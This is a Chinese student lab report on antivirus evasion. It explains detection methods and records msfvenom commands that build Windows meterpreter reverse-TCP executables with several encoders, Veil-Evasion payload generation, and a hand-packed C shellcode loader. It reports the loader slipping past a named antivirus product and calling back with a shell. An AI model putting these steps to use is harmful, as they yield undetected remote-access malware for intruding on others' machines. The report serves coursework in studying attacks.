20145204《网络对抗》免杀原理与实践
实践内容说明
(1)理解免杀技术原理(1分)
(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(2分)
(3)通过组合应用各种技术实现恶意代码免杀(1分)
(4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
基础问题回答
- 杀软是如何检测出恶意代码的?
主要是基于三点:特征码、启发式恶意软件检查和行为。
- 免杀是做什么?
将恶意软件变身,使得查杀软件认不出来,从而免于被检测、拦截。
- 免杀的基本方法有哪些?
针对杀毒软件的三种基本检测方法,我们可有以下几种方法实现免杀:
1、改变特征码:使用不同语言或者不同软件进行编码,或者加压缩壳,加密壳。
2、 改变行为:从通讯方式和操作模式两方面来说。
1)就通讯方式而言,我们可以使用反弹式连接、隧道技术或者加密通讯数据。
2)在操作模式上,尽量减少对操作系统的修改,将全部动作放在内存中,或者加入混淆作用的正常功能代码。
实践总结与体会
- 关于Msfvenom
利用Msfvenom编码器对病毒加壳,并没有起到多大的作用,即使编译多次也无效果,可见Msfvenom中的编码器早已被各家杀软盯上了。
- Veil-Evasion
Veil-Evasion在加壳比Msfvenom要好用一些(有可能是因为比较新),在实验中比较发现,其生成的病毒被查杀的概率小。
离实战还缺些什么技术或步骤?
1、被感染的靶机和我们不在一个网段,就不能成功。
2、伪装生成的exe,诱使用户自己点击开启。
实践过程记录
使用Msfvenom
1、在使用编码器之前,我们先查杀一下msfvenom直接生成meterpreter可执行文件,结果如下图所示,可以看到查杀率为53%(21/39):
2、使用msfvenom -l encoders 查看msf中包含的编码器如下图所示,我们在这里挑选两个,进行试验比较其生成的木马的被查杀率的区别。
3、使用shikata_ga_nai编码生成:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.43.48.166 LPORT=4444 -f exe > zyj_encoded.exe
查杀率并没有降低,结果如下图所示:
4、使用xor编码生成:msfvenom -p windows/meterpreter/reverse_tcp -e x64/xor ‘\x00’ LHOST=10.43.51.205 LPORT=4444 -f exe > zyj_xor.exe
,查杀率没有任何变化。
使用Veil-Evasion生成可执行文件
1、老师kali账号下已经下载好了Veil-Evasion文件,直接在命令行中输入veil-evasion
打开。按照提示选择use,并选择相应的payload方式。这里选择的是49.如下图所示;
2、输入generate
生成病毒,按照提示输入文件名称,结果如下图所示:
2、将生成好的文件上传到这里,看查杀率相比较Msfvenom确实提高不少。如下图所示:
半手工打造:C语言调用Shellcode
1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.48.16 LPORT=443 -f c >c5204.c
2、改变这个.c文件,并编译,竟然锐减到10%,但是仍然没有用,此文件依然会被认为是病毒。
结果文件:
5、继续加工该程序,手工加一个壳,将特征码倒序,再次查杀,果真半手工的还收有效果的:
最后在自己电脑上实现杀毒并回连
1、瑞星杀软(版本24.00.63.33)杀不出:
2、打开瑞星防火墙,会提示可疑软件在上网,同意后,就能连上kali了。
2、回连成功,在kali上获得shell(中间虚拟地址ip发生变化,所以重新生成的exe):